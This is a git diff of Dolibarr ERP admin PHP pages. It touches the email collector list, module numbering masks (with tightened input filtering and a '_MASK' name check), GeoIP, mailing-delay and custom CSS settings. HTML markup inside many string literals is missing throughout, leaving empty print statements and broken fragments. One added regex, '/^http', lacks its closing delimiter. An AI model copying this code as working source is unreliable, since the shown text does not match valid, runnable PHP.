      '; - print $form->selectarray('operationtype', $arrayoftypes, '', 1, 0, 0, '', 1, 0, 0, '', 'maxwidth300', 1); + print $form->selectarray('operationtype', $arrayoftypes, '', 1, 0, 0, '', 1, 0, 0, '', 'minwidth150 maxwidth300', 1); print ''; //print ''; $htmltext = $langs->transnoentitiesnoconv("OperationParamDesc"); diff --git a/htdocs/admin/emailcollector_list.php b/htdocs/admin/emailcollector_list.php index 3be38cca113..ccee1f604b2 100644 --- a/htdocs/admin/emailcollector_list.php +++ b/htdocs/admin/emailcollector_list.php @@ -224,7 +224,7 @@ if (!empty($extrafields->attributes[$object->table_element]['label'])) { // Add fields from hooks $parameters = array(); $reshook = $hookmanager->executeHooks('printFieldListSelect', $parameters, $object); // Note that $action and $object may have been modified by hook -$sql .= preg_replace('/^,/', '', $hookmanager->resPrint); +$sql .= $hookmanager->resPrint; $sql = preg_replace('/,\s*$/', '', $sql); $sql .= " FROM ".MAIN_DB_PREFIX.$object->table_element." as t"; if (isset($extrafields->attributes[$object->table_element]['label']) && is_array($extrafields->attributes[$object->table_element]['label']) && count($extrafields->attributes[$object->table_element]['label'])) { @@ -273,25 +273,6 @@ include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_sql.tpl.php'; $parameters = array(); $reshook = $hookmanager->executeHooks('printFieldListWhere', $parameters, $object); // Note that $action and $object may have been modified by hook $sql .= $hookmanager->resPrint; - -/* If a group by is required -$sql.= " GROUP BY "; -foreach ($object->fields as $key => $val) { - $sql .= "t.".$db->escape($key).", "; -} -// Add fields from extrafields -if (!empty($extrafields->attributes[$object->table_element]['label'])) { - foreach ($extrafields->attributes[$object->table_element]['label'] as $key => $val) { - $sql .= ($extrafields->attributes[$object->table_element]['type'][$key] != 'separate' ? "ef.".$key.', ' : ''); - } -} -// Add where from hooks -$parameters=array(); -$reshook = $hookmanager->executeHooks('printFieldListGroupBy', $parameters, $object); // Note that $action and $object may have been modified by hook -$sql .= $hookmanager->resPrint; -$sql = preg_replace('/,\s*$/', '', $sql); -*/ - // Count total nb of records $nbtotalofrecords = ''; if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { @@ -333,6 +314,22 @@ if ($num == 1 && !empty($conf->global->MAIN_SEARCH_DIRECT_OPEN_IF_ONLY_ONE) && $ llxHeader('', $title, $help_url, '', 0, 0, $morejs, $morecss, '', ''); + +$linkback = ''.$langs->trans("BackToModuleList").''; +print load_fiche_titre($title, $linkback, 'title_setup'); + + +$head = array(); +$h = 0; +$head[$h][0] = DOL_URL_ROOT."/admin/emailcollector_list.php"; +$head[$h][1] = $langs->trans("Setup"); +$head[$h][2] = 'common'; +$h++; + +print dol_get_fiche_head($head, 'common', '', -1); + + + $arrayofselected = is_array($toselect) ? $toselect : array(); $param = ''; @@ -388,11 +385,9 @@ print ''; print ''; print ''; -$linkback = ''.$langs->trans("BackToModuleList").''; - $newcardbutton = dolGetButtonTitle($langs->trans('New'), '', 'fa fa-plus-circle', 'emailcollector_card.php?action=create&backtopage='.urlencode($_SERVER['PHP_SELF']), '', $permissiontoadd); -print_barre_liste($title, $page, $_SERVER["PHP_SELF"], $param, $sortfield, $sortorder, $massactionbutton, $num, $nbtotalofrecords, 'email', 0, $newcardbutton.' '.$linkback, '', $limit, 0, 0, 1); +print_barre_liste($title, $page, $_SERVER["PHP_SELF"], $param, $sortfield, $sortorder, $massactionbutton, $num, $nbtotalofrecords, 'email', 0, $newcardbutton, '', $limit, 0, 0, 1); // Add code for pre mass action (confirmation or email presend form) /*$topicmail=""; @@ -557,7 +552,7 @@ while ($i < $imaxinloop) { if ($mode == 'kanban') { if ($i == 0) { print '
      '; - print '
      '; + print '
      '; } // Output Kanban print $object->getKanbanView(''); @@ -601,13 +596,17 @@ while ($i < $imaxinloop) { //if (in_array($key, array('fk_soc', 'fk_user', 'fk_warehouse'))) $cssforfield = 'tdoverflowmax100'; if (!empty($arrayfields['t.'.$key]['checked'])) { - print '$key)) { print ' title="'.dol_escape_htmltag($object->$key).'"'; } print '>'; if ($key == 'status') { print $object->getLibStatut(5); + } elseif ($key == 'lastresult') { + print '
      '; + print $object->showOutputField($val, $key, $object->$key, ''); + print '
      '; } elseif ($key == 'rowid') { print $object->showOutputField($val, $key, $object->id, ''); } else { @@ -695,7 +694,22 @@ print '
      '.$langs->trans("Parameter").'
      '; +//print $form->textwithpicto($langs->trans("MAIN_IMAP_USE_PHPIMAP"), $langs->transnoentitiesnoconv("MAIN_IMAP_USE_PHPIMAPDesc")); +print $langs->trans("MAIN_IMAP_USE_PHPIMAP"); +print ''; +if ($conf->use_javascript_ajax) { + print ajax_constantonoff('MAIN_IMAP_USE_PHPIMAP'); +} else { + $arrval = array('0' => $langs->trans("No"), '1' => $langs->trans("Yes")); + print $form->selectarray("MAIN_IMAP_USE_PHPIMAP", $arrval, $conf->global->MAIN_IMAP_USE_PHPIMAP); +} +print '
      '.$form->textwithpicto($langs->trans("EmailCollectorHideMailHeaders"), $langs->transnoentitiesnoconv("EmailCollectorHideMailHeadersHelp")).''; if ($conf->use_javascript_ajax) { @@ -734,6 +748,10 @@ if (in_array('builddoc', $arrayofmassactions) && ($nbtotalofrecords === '' || $n print $formfile->showdocuments('massfilesarea_emailcollector', '', $filedir, $urlsource, 0, $delallowed, '', 1, 1, 0, 48, 1, $param, $title, '', '', '', null, $hidegeneratedfilelistifempty); } + +dol_get_fiche_end(); + + // End of page llxFooter(); $db->close(); diff --git a/htdocs/admin/eventorganization.php b/htdocs/admin/eventorganization.php index cc9b8d7bca8..0d10602b1c4 100644 --- a/htdocs/admin/eventorganization.php +++ b/htdocs/admin/eventorganization.php @@ -83,15 +83,13 @@ if ($cancel) { $action =''; } -if ((float) DOL_VERSION >= 6) { - include DOL_DOCUMENT_ROOT.'/core/actions_setmoduleoptions.inc.php'; -} +include DOL_DOCUMENT_ROOT.'/core/actions_setmoduleoptions.inc.php'; if ($action == 'updateMask') { - $maskconstorder = GETPOST('maskconstorder', 'alpha'); + $maskconstorder = GETPOST('maskconstorder', 'aZ09'); $maskorder = GETPOST('maskorder', 'alpha'); - if ($maskconstorder) { + if ($maskconstorder && preg_match('/_MASK$/', $maskconstorder)) { $res = dolibarr_set_const($db, $maskconstorder, $maskorder, 'chaine', 0, '', $conf->entity); if (!($res > 0)) { $error++; diff --git a/htdocs/admin/events.php b/htdocs/admin/events.php index 4085207642b..4b4bdf18974 100644 --- a/htdocs/admin/events.php +++ b/htdocs/admin/events.php @@ -110,11 +110,11 @@ print dol_get_fiche_head($head, 'audit', '', -1); print '
      '; -print ''; -print ""; +print '
      '; +print ''; print getTitleFieldOfList("TrackableSecurityEvents", 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, '')."\n"; print getTitleFieldOfList($selectedfields, 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'center maxwidthsearch ')."\n"; -print "\n"; +print ''."\n"; // Loop on each event type foreach ($eventstolog as $key => $arr) { if ($arr['id']) { @@ -129,12 +129,12 @@ foreach ($eventstolog as $key => $arr) { } print '
      '; -print dol_get_fiche_end(); - print '
      '; print ''; print '
      '; +print dol_get_fiche_end(); + print "\n"; // End of page diff --git a/htdocs/admin/expedition.php b/htdocs/admin/expedition.php index 485ce901e5c..1db6a9cc9d6 100644 --- a/htdocs/admin/expedition.php +++ b/htdocs/admin/expedition.php @@ -62,9 +62,9 @@ if (empty($conf->global->EXPEDITION_ADDON_NUMBER)) { include DOL_DOCUMENT_ROOT.'/core/actions_setmoduleoptions.inc.php'; if ($action == 'updateMask') { - $maskconst = GETPOST('maskconstexpedition', 'alpha'); + $maskconst = GETPOST('maskconstexpedition', 'aZ09'); $maskvalue = GETPOST('maskexpedition', 'alpha'); - if (!empty($maskconst)) { + if (!empty($maskconst) && preg_match('/_MASK$/', $maskconst)) { $res = dolibarr_set_const($db, $maskconst, $maskvalue, 'chaine', 0, '', $conf->entity); } diff --git a/htdocs/admin/expensereport.php b/htdocs/admin/expensereport.php index 8c20b493105..25bef9fde22 100644 --- a/htdocs/admin/expensereport.php +++ b/htdocs/admin/expensereport.php @@ -58,9 +58,9 @@ $type = 'expensereport'; include DOL_DOCUMENT_ROOT.'/core/actions_setmoduleoptions.inc.php'; if ($action == 'updateMask') { - $maskconst = GETPOST('maskconst', 'alpha'); + $maskconst = GETPOST('maskconst', 'aZ09'); $maskvalue = GETPOST('maskvalue', 'alpha'); - if ($maskconst) { + if ($maskconst && preg_match('/_MASK$/', $maskconst)) { $res = dolibarr_set_const($db, $maskconst, $maskvalue, 'chaine', 0, '', $conf->entity); } diff --git a/htdocs/admin/external_rss.php b/htdocs/admin/external_rss.php index d46f1897b71..9026ed1a474 100644 --- a/htdocs/admin/external_rss.php +++ b/htdocs/admin/external_rss.php @@ -296,9 +296,13 @@ if ($resql) { $imageurl = $rssparser->getImageUrl(); $linkrss = $rssparser->getLink(); if (!preg_match('/^http/', $imageurl)) { - $imageurl = $linkrss.$imageurl; + include_once DOL_DOCUMENT_ROOT.'/core/lib/images.lib.php'; + if (image_format_supported($imageurl) >= 0) { + // If we are sure imageurl is a path to an image file, and if it does not start with http, we append root url to it. + $imageurl = $linkrss.$imageurl; + } } - if ($imageurl) { + if ($imageurl && preg_match('/^http', $imageurl)) { print ''; } else { print $langs->trans("None"); diff --git a/htdocs/admin/facture.php b/htdocs/admin/facture.php index d2e1ec4ea25..a7173f31855 100644 --- a/htdocs/admin/facture.php +++ b/htdocs/admin/facture.php @@ -6,6 +6,7 @@ * Copyright (C) 2008 Raphael Bertrand (Resultic) * Copyright (C) 2012-2013 Juanjo Menent * Copyright (C) 2014 Teddy Andreotti <125155@supinfo.com> + * Copyright (C) 2022 Anthony Berton * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -57,24 +58,24 @@ $type = 'invoice'; include DOL_DOCUMENT_ROOT.'/core/actions_setmoduleoptions.inc.php'; if ($action == 'updateMask') { - $maskconstinvoice = GETPOST('maskconstinvoice', 'alpha'); - $maskconstreplacement = GETPOST('maskconstreplacement', 'alpha'); - $maskconstcredit = GETPOST('maskconstcredit', 'alpha'); - $maskconstdeposit = GETPOST('maskconstdeposit', 'alpha'); + $maskconstinvoice = GETPOST('maskconstinvoice', 'aZ09'); + $maskconstreplacement = GETPOST('maskconstreplacement', 'aZ09'); + $maskconstcredit = GETPOST('maskconstcredit', 'aZ09'); + $maskconstdeposit = GETPOST('maskconstdeposit', 'aZ09'); $maskinvoice = GETPOST('maskinvoice', 'alpha'); $maskreplacement = GETPOST('maskreplacement', 'alpha'); $maskcredit = GETPOST('maskcredit', 'alpha'); $maskdeposit = GETPOST('maskdeposit', 'alpha'); - if ($maskconstinvoice) { + if ($maskconstinvoice && preg_match('/_MASK_/', $maskconstinvoice)) { $res = dolibarr_set_const($db, $maskconstinvoice, $maskinvoice, 'chaine', 0, '', $conf->entity); } - if ($maskconstreplacement) { + if ($maskconstreplacement && preg_match('/_MASK_/', $maskconstreplacement)) { $res = dolibarr_set_const($db, $maskconstreplacement, $maskreplacement, 'chaine', 0, '', $conf->entity); } - if ($maskconstcredit) { + if ($maskconstcredit && preg_match('/_MASK_/', $maskconstcredit)) { $res = dolibarr_set_const($db, $maskconstcredit, $maskcredit, 'chaine', 0, '', $conf->entity); } - if ($maskconstdeposit) { + if ($maskconstdeposit && preg_match('/_MASK_/', $maskconstdeposit)) { $res = dolibarr_set_const($db, $maskconstdeposit, $maskdeposit, 'chaine', 0, '', $conf->entity); } @@ -363,7 +364,7 @@ foreach ($dirmodels as $reldir) { if ($conf->global->FACTURE_ADDON == $file || $conf->global->FACTURE_ADDON.'.php' == $file) { print img_picto($langs->trans("Activated"), 'switch_on'); } else { - print ''.img_picto($langs->trans("Disabled"), 'switch_off').''; + print ''.img_picto($langs->trans("Disabled"), 'switch_off').''; } print '
      ".$langs->trans("SuggestPaymentByChequeToAddress").""; print ''; print ''; -print ''; +print ''; print ''; print ''; print "\n"; @@ -754,7 +757,7 @@ print ''; print '\n"; diff --git a/htdocs/admin/fckeditor.php b/htdocs/admin/fckeditor.php index f43ddb281bd..5a5c2f25c0e 100644 --- a/htdocs/admin/fckeditor.php +++ b/htdocs/admin/fckeditor.php @@ -100,7 +100,7 @@ foreach ($modules as $const => $desc) { exit; } if ($action == 'disable_'.strtolower($const)) { - dolibarr_del_const($db, "FCKEDITOR_ENABLE_".$const, $conf->entity); + dolibarr_set_const($db, "FCKEDITOR_ENABLE_".$const, "0", 'chaine', 0, '', $conf->entity); header("Location: ".$_SERVER["PHP_SELF"]); exit; } @@ -165,14 +165,14 @@ if (empty($conf->use_javascript_ajax)) { $constante = 'FCKEDITOR_ENABLE_'.$const; print ''."\n"; print ''; - print ''; + print ''; print ''; - print ''; -print ''; +print ''; +print ''; +$gimcdf = getDolGlobalString('GEOIPMAXMIND_COUNTRY_DATAFILE'); + // Path to database file print ''; -print ''; print '
      '.$langs->trans("Parameter").''.$langs->trans("Parameters").''.$langs->trans("Value").' 
      '; print $langs->trans("ForceInvoiceDate"); print ''; -print $form->selectyesno("forcedate", $conf->global->FAC_FORCE_DATE_VALIDATION, 1); +print $form->selectyesno("forcedate", getDolGlobalInt('FAC_FORCE_DATE_VALIDATION', 0), 1); print ''; print ''; print "
      '.img_object("", $picto[$const]).''.img_object("", $picto[$const]).''; print $langs->trans($desc); if ($const == 'DETAILS') { print '
      '.$langs->trans("FCKeditorForProductDetails2").''; } print '
      '; + print ''; $value = (isset($conf->global->$constante) ? $conf->global->$constante : 0); if ($value == 0) { print ''.img_picto($langs->trans("Disabled"), 'switch_off').''; diff --git a/htdocs/admin/fichinter.php b/htdocs/admin/fichinter.php index cf637d37329..2e331b3cc80 100644 --- a/htdocs/admin/fichinter.php +++ b/htdocs/admin/fichinter.php @@ -58,9 +58,9 @@ $type = 'ficheinter'; include DOL_DOCUMENT_ROOT.'/core/actions_setmoduleoptions.inc.php'; if ($action == 'updateMask') { - $maskconst = GETPOST('maskconst', 'alpha'); + $maskconst = GETPOST('maskconst', 'aZ09'); $maskvalue = GETPOST('maskvalue', 'alpha'); - if ($maskconst) { + if ($maskconst && preg_match('/_MASK$/', $maskconst)) { $res = dolibarr_set_const($db, $maskconst, $maskvalue, 'chaine', 0, '', $conf->entity); } diff --git a/htdocs/admin/geoipmaxmind.php b/htdocs/admin/geoipmaxmind.php index c7373fd02db..78fde3d095e 100644 --- a/htdocs/admin/geoipmaxmind.php +++ b/htdocs/admin/geoipmaxmind.php @@ -53,27 +53,20 @@ if ($action == 'set') { $error++; } - if (!$error && $gimcdf && !file_exists($gimcdf)) { - setEventMessages($langs->trans("ErrorFileNotFound", $gimcdf), null, 'errors'); + $res1 = dolibarr_set_const($db, "GEOIP_VERSION", GETPOST('geoipversion', 'aZ09'), 'chaine', 0, '', $conf->entity); + if (!($res1 > 0)) { + $error++; + } + + $res2 = dolibarr_set_const($db, "GEOIPMAXMIND_COUNTRY_DATAFILE", $gimcdf, 'chaine', 0, '', $conf->entity); + if (!($res2 > 0)) { $error++; } if (!$error) { - $res1 = dolibarr_set_const($db, "GEOIP_VERSION", GETPOST('geoipversion', 'aZ09'), 'chaine', 0, '', $conf->entity); - if (!($res1 > 0)) { - $error++; - } - - $res2 = dolibarr_set_const($db, "GEOIPMAXMIND_COUNTRY_DATAFILE", $gimcdf, 'chaine', 0, '', $conf->entity); - if (!($res2 > 0)) { - $error++; - } - - if (!$error) { - setEventMessages($langs->trans("SetupSaved"), null, 'mesgs'); - } else { - setEventMessages($langs->trans("Error"), null, 'errors'); - } + setEventMessages($langs->trans("SetupSaved"), null, 'mesgs'); + } else { + //setEventMessages($langs->trans("Error"), null, 'errors'); } } @@ -112,8 +105,8 @@ print '\n"; // Lib version -print '
      '.$langs->trans("GeoIPLibVersion").''; +print '
      '.$langs->trans("GeoIPLibVersion").''; $arrayofvalues = array('php' => 'Native PHP functions', '1' => 'Embedded GeoIP v1', '2' => 'Embedded GeoIP v2'); print $form->selectarray('geoipversion', $arrayofvalues, (isset($conf->global->GEOIP_VERSION) ? $conf->global->GEOIP_VERSION : '2')); if ($conf->global->GEOIP_VERSION == 'php') { @@ -124,16 +117,29 @@ if ($conf->global->GEOIP_VERSION == 'php') { print '
      '.$langs->trans("Version").': '.$version; } } +print '
      '; print '
      '.$langs->trans("PathToGeoIPMaxmindCountryDataFile").''; - +print ''; if ($conf->global->GEOIP_VERSION == 'php') { print 'Using geoip PHP internal functions. Value must be '.geoip_db_filename(GEOIP_COUNTRY_EDITION).' or '.geoip_db_filename(GEOIP_CITY_EDITION_REV1).' or /pathtodatafile/GeoLite2-Country.mmdb
      '; } -print ''; +print ''; +if (!file_exists($gimcdf)) { + print '
      '.$langs->trans("ErrorFileNotFound", $gimcdf).'
      '; +} +print '
      '; +print ''; +print $langs->trans("Example").'
      '; +print '/usr/local/share/GeoIP/GeoIP.dat
      +/usr/share/GeoIP/GeoIP.dat
      +/usr/share/GeoIP/GeoLite2-Country.mmdb'; +print '
      '; print '
      '; @@ -145,14 +151,21 @@ print '
      '; print $langs->trans("NoteOnPathLocation").'
      '; $url1 = 'http://www.maxmind.com/en/city?rId=awstats'; -print $langs->trans("YouCanDownloadFreeDatFileTo", ''.$url1.''); +$textoshow = $langs->trans("YouCanDownloadFreeDatFileTo", '{s1}'); +$textoshow = str_replace('{s1}', ''.$url1.'', $textoshow); +print $textoshow; print '
      '; $url2 = 'http://www.maxmind.com/en/city?rId=awstats'; -print $langs->trans("YouCanDownloadAdvancedDatFileTo", ''.$url2.''); +$textoshow = $langs->trans("YouCanDownloadAdvancedDatFileTo", '{s1}'); +$textoshow = str_replace('{s1}', ''.$url2.'', $textoshow); +print $textoshow; if ($geoip) { + print '
      '; + print ''; + print '

      '; print '
      '.$langs->trans("TestGeoIPResult", $ip).':'; @@ -204,6 +217,20 @@ if ($geoip) { } } + $ip = GETPOST("iptotest"); + print '
      '; + print ''; + if ($ip) { + $result = dol_print_ip($ip, 1); + if ($result) { + print $result; + } else { + print $langs->trans("Error"); + } + } + + print '
      '; + $geoip->close(); } diff --git a/htdocs/admin/holiday.php b/htdocs/admin/holiday.php index 9a60c6b9b84..b85e257c69e 100644 --- a/htdocs/admin/holiday.php +++ b/htdocs/admin/holiday.php @@ -58,9 +58,9 @@ if (empty($conf->global->HOLIDAY_ADDON)) { include DOL_DOCUMENT_ROOT.'/core/actions_setmoduleoptions.inc.php'; if ($action == 'updateMask') { - $maskconst = GETPOST('maskconstholiday', 'alpha'); + $maskconst = GETPOST('maskconstholiday', 'aZ09'); $maskvalue = GETPOST('maskholiday', 'alpha'); - if ($maskconst) { + if ($maskconst && preg_match('/_MASK$/', $maskconst)) { $res = dolibarr_set_const($db, $maskconst, $maskvalue, 'chaine', 0, '', $conf->entity); } diff --git a/htdocs/admin/hrm.php b/htdocs/admin/hrm.php index 838e9bf9a0b..14d6e8b175f 100644 --- a/htdocs/admin/hrm.php +++ b/htdocs/admin/hrm.php @@ -53,7 +53,7 @@ $label = GETPOST('label', 'alpha'); $modulepart = GETPOST('modulepart', 'aZ09'); // Used by actions_setmoduleoptions.inc.php $scandir = GETPOST('scan_dir', 'alpha'); -$type = 'myobject'; +$type = 'evaluation'; $arrayofparameters = array( 'HRM_MAXRANK'=>array('type'=>'integer','enabled'=>1), @@ -70,9 +70,7 @@ $dirmodels = array_merge(array('/'), (array) $conf->modules_parts['models']); * Actions */ -if ((float) DOL_VERSION >= 6) { - include DOL_DOCUMENT_ROOT.'/core/actions_setmoduleoptions.inc.php'; -} +include DOL_DOCUMENT_ROOT.'/core/actions_setmoduleoptions.inc.php'; if ($action == 'update') { $max_rank = GETPOST('HRM_MAXRANK', 'int'); @@ -91,11 +89,11 @@ if ($action == 'update') { } } } elseif ($action == 'updateMask') { - $maskconstorder = GETPOST('maskconstorder', 'alpha'); - $maskorder = GETPOST('maskorder', 'alpha'); + $maskconst = GETPOST('maskconstEvaluation', 'aZ09'); + $maskvalue = GETPOST('maskEvaluation', 'alpha'); - if ($maskconstorder) { - $res = dolibarr_set_const($db, $maskconstorder, $maskorder, 'chaine', 0, '', $conf->entity); + if ($maskconst && preg_match('/_MASK$/', $maskconst)) { + $res = dolibarr_set_const($db, $maskconst, $maskvalue, 'chaine', 0, '', $conf->entity); if (!($res > 0)) { $error++; } @@ -210,10 +208,10 @@ print dol_get_fiche_head($head, 'settings', $langs->trans($page_name), -1, "hrm" $moduledir = 'hrm'; $myTmpObjects = array(); -$myTmpObjects['evaluation'] = array('includerefgeneration'=>1, 'includedocgeneration'=>0); +$myTmpObjects['evaluation'] = array('label'=>'Evaluation', 'includerefgeneration'=>1, 'includedocgeneration'=>0); foreach ($myTmpObjects as $myTmpObjectKey => $myTmpObjectArray) { - if ($myTmpObjectKey == 'MyObject') { + if ($myTmpObjectKey != $type) { continue; } if ($myTmpObjectArray['includerefgeneration']) { @@ -222,7 +220,7 @@ foreach ($myTmpObjects as $myTmpObjectKey => $myTmpObjectArray) { */ $setupnotempty++; - print load_fiche_titre($langs->trans("NumberingModules", $myTmpObjectKey), '', ''); + print load_fiche_titre($langs->trans("NumberingModules").' ('.$myTmpObjectArray['label'].')', '', ''); print ''; print ''; @@ -493,16 +491,16 @@ if ($action == 'edit') { if ($val['type'] == 'textarea') { print '\n"; } elseif ($val['type'] == 'integer') { - print '' . "\n"; + print '' . "\n"; } elseif ($val['type'] == 'html') { require_once DOL_DOCUMENT_ROOT . '/core/class/doleditor.class.php'; - $doleditor = new DolEditor($constname, $conf->global->{$constname}, '', 160, 'dolibarr_notes', '', false, false, isModEnabled('fckeditor'), ROWS_5, '90%'); + $doleditor = new DolEditor($constname, getDolGlobalString($constname), '', 160, 'dolibarr_notes', '', false, false, isModEnabled('fckeditor'), ROWS_5, '90%'); $doleditor->Create(); } elseif ($val['type'] == 'yesno') { - print $form->selectyesno($constname, $conf->global->{$constname}, 1); + print $form->selectyesno($constname, getDolGlobalString($constname), 1); } elseif (preg_match('/emailtemplate:/', $val['type'])) { include_once DOL_DOCUMENT_ROOT . '/core/class/html.formmail.class.php'; $formmail = new FormMail($db); @@ -577,9 +575,9 @@ if ($action == 'edit') { print ''; print ''; + // Max size of lists + print ''; + print ''; + // show input border /* print ''; } diff --git a/htdocs/admin/mailing.php b/htdocs/admin/mailing.php index 6a166078bfc..679ee078f47 100644 --- a/htdocs/admin/mailing.php +++ b/htdocs/admin/mailing.php @@ -51,8 +51,19 @@ if ($action == 'setvalue') { $mailerror = GETPOST('MAILING_EMAIL_ERRORSTO', 'alpha'); $checkread = GETPOST('value', 'alpha'); $checkread_key = GETPOST('MAILING_EMAIL_UNSUBSCRIBE_KEY', 'alpha'); - $mailingdelay = GETPOST('MAILING_DELAY', 'int'); $contactbulkdefault = GETPOST('MAILING_CONTACT_DEFAULT_BULK_STATUS', 'int'); + if (GETPOST('MAILING_DELAY', 'alpha') != '') { + $mailingdelay = price2num(GETPOST('MAILING_DELAY', 'alpha'), 3); // Not less than 1 millisecond. + } else { + $mailingdelay = ''; + } + // Clean data + if ((float) $mailingdelay > 10) { + $mailingdelay = 10; + } + if (GETPOST('MAILING_DELAY', 'alpha') != '' && GETPOST('MAILING_DELAY', 'alpha') != '0' && (float) $mailingdelay < 0.001) { + $mailingdelay = 0.001; + } $res = dolibarr_set_const($db, "MAILING_EMAIL_FROM", $mailfrom, 'chaine', 0, '', $conf->entity); if (!($res > 0)) { @@ -123,32 +134,35 @@ print '
      '; if ($val['type'] == 'textarea') { - print dol_nl2br($conf->global->{$constname}); + print dol_nl2br(getDolGlobalString($constname)); } elseif ($val['type']== 'html') { - print $conf->global->{$constname}; + print getDolGlobalString($constname); } elseif ($val['type'] == 'yesno') { print ajax_constantonoff($constname); } elseif (preg_match('/emailtemplate:/', $val['type'])) { @@ -588,14 +586,14 @@ if ($action == 'edit') { $tmp = explode(':', $val['type']); - $template = $formmail->getEMailTemplate($db, $tmp[1], $user, $langs, $conf->global->{$constname}); + $template = $formmail->getEMailTemplate($db, $tmp[1], $user, $langs, getDolGlobalString($constname)); if ($template<0) { setEventMessages(null, $formmail->errors, 'errors'); } print $langs->trans($template->label); } elseif (preg_match('/category:/', $val['type'])) { $c = new Categorie($db); - $result = $c->fetch($conf->global->{$constname}); + $result = $c->fetch(getDolGlobalString($constname)); if ($result < 0) { setEventMessages(null, $c->errors, 'errors'); } diff --git a/htdocs/admin/ihm.php b/htdocs/admin/ihm.php index 1026ea12442..b868a847e9e 100644 --- a/htdocs/admin/ihm.php +++ b/htdocs/admin/ihm.php @@ -6,6 +6,7 @@ * Copyright (C) 2018 Ferran Marcet * Copyright (C) 2021 Alexandre Spangaro * Copyright (C) 2021 Anthony Berton + * Copyright (C) 2023 Eric Seigne * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -245,6 +246,7 @@ if ($action == 'update') { dolibarr_set_const($db, "MAIN_SIZE_LISTE_LIMIT", GETPOST("main_size_liste_limit", 'int'), 'chaine', 0, '', $conf->entity); dolibarr_set_const($db, "MAIN_SIZE_SHORTLIST_LIMIT", GETPOST("main_size_shortliste_limit", 'int'), 'chaine', 0, '', $conf->entity); + dolibarr_set_const($db, "MAIN_CHECKBOX_LEFT_COLUMN", GETPOST("MAIN_CHECKBOX_LEFT_COLUMN", 'int'), 'chaine', 0, '', $conf->entity); //dolibarr_set_const($db, "MAIN_DISABLE_JAVASCRIPT", GETPOST("MAIN_DISABLE_JAVASCRIPT", 'aZ09'), 'chaine', 0, '', $conf->entity); //dolibarr_set_const($db, "MAIN_BUTTON_HIDE_UNAUTHORIZED", GETPOST("MAIN_BUTTON_HIDE_UNAUTHORIZED", 'aZ09'), 'chaine', 0, '', $conf->entity); @@ -297,13 +299,19 @@ if ($action == 'update') { } } + if ($mode == 'css') { + //file_put_contents(DOL_DATA_ROOT.'/admin/customcss.css', $data); + //dol_chmod(DOL_DATA_ROOT.'/admin/customcss.css'); + dolibarr_set_const($db, "MAIN_IHM_CUSTOM_CSS", GETPOST('MAIN_IHM_CUSTOM_CSS', 'restricthtml'), 'chaine', 0, '', $conf->entity); + } + $_SESSION["mainmenu"] = ""; // The menu manager may have changed if (GETPOST('dol_resetcache')) { dolibarr_set_const($db, "MAIN_IHM_PARAMS_REV", ((int) $conf->global->MAIN_IHM_PARAMS_REV) + 1, 'chaine', 0, '', $conf->entity); } - header("Location: ".$_SERVER["PHP_SELF"]."?mainmenu=home&leftmenu=setup".'&mode='.$mode.(GETPOSTISSET('page_y') ? '&page_y='.GETPOST('page_y', 'int') : '')); + header("Location: ".$_SERVER["PHP_SELF"]."?mainmenu=home&leftmenu=setup&mode=".$mode.(GETPOSTISSET('page_y') ? '&page_y='.GETPOST('page_y', 'int') : '')); exit; } @@ -313,7 +321,13 @@ if ($action == 'update') { */ $wikihelp = 'EN:First_setup|FR:Premiers_paramétrages|ES:Primeras_configuraciones'; -llxHeader('', $langs->trans("Setup"), $wikihelp); + +llxHeader('', $langs->trans("Setup"), $wikihelp, '', 0, 0, + array( + '/includes/ace/src/ace.js', + '/includes/ace/src/ext-statusbar.js', + '/includes/ace/src/ext-language_tools.js', + ), array()); $form = new Form($db); $formother = new FormOther($db); @@ -408,6 +422,12 @@ if ($mode == 'other') { print '
      ' . $langs->trans("DefaultMaxSizeShortList") . '
      ' . $langs->trans("MAIN_CHECKBOX_LEFT_COLUMN") . ''; + print ajax_constantonoff("MAIN_CHECKBOX_LEFT_COLUMN", array(), $conf->entity, 0, 0, 1, 0, 0, 0, '', 'other'); + print '
      '.$langs->trans("showInputBorder").''; @@ -672,8 +692,27 @@ if ($mode == 'login') { print ''; } +if ($mode == 'css') { + print '
      '; + print ''; + + print ''; + print ''."\n"; + + print '
      '; + + //$customcssValue = file_get_contents(DOL_DATA_ROOT.'/admin/customcss.css'); + $customcssValue = getDolGlobalString('MAIN_IHM_CUSTOM_CSS'); + + $doleditor = new DolEditor('MAIN_IHM_CUSTOM_CSS', $customcssValue, '80%', 400, 'Basic', 'In', true, false, 'ace', 10, '90%'); + $doleditor->Create(0, '', true, 'css', 'css'); + print '
      '."\n"; + print '
      '; +} + + print '
      '; -print ''; +print ''; print ''; print '
      '; diff --git a/htdocs/admin/index.php b/htdocs/admin/index.php index 87b49c95468..8a563191303 100644 --- a/htdocs/admin/index.php +++ b/htdocs/admin/index.php @@ -105,10 +105,15 @@ print '
      '; print '
      '; +$nbmodulesnotautoenabled = count($conf->modules); +if (in_array('fckeditor', $conf->modules)) $nbmodulesnotautoenabled--; +if (in_array('export', $conf->modules)) $nbmodulesnotautoenabled--; +if (in_array('import', $conf->modules)) $nbmodulesnotautoenabled--; + // Show info setup module print img_picto('', 'cog', 'class="paddingright valignmiddle double"').' '.$langs->trans("SetupDescriptionLink", DOL_URL_ROOT.'/admin/modules.php?mainmenu=home', $langs->transnoentities("Setup"), $langs->transnoentities("Modules")); print '

      '.$langs->trans("SetupDescription4b"); -if (count($conf->modules) <= (empty($conf->global->MAIN_MIN_NB_ENABLED_MODULE_FOR_WARNING) ? 1 : $conf->global->MAIN_MIN_NB_ENABLED_MODULE_FOR_WARNING)) { // If only minimal initial modules enabled +if ($nbmodulesnotautoenabled <= getDolGlobalInt('MAIN_MIN_NB_ENABLED_MODULE_FOR_WARNING', 1)) { // If only minimal initial modules enabled $langs->load("errors"); $warnpicto = img_warning($langs->trans("WarningEnableYourModulesApplications"), 'style="padding-right: 6px;"'); print '
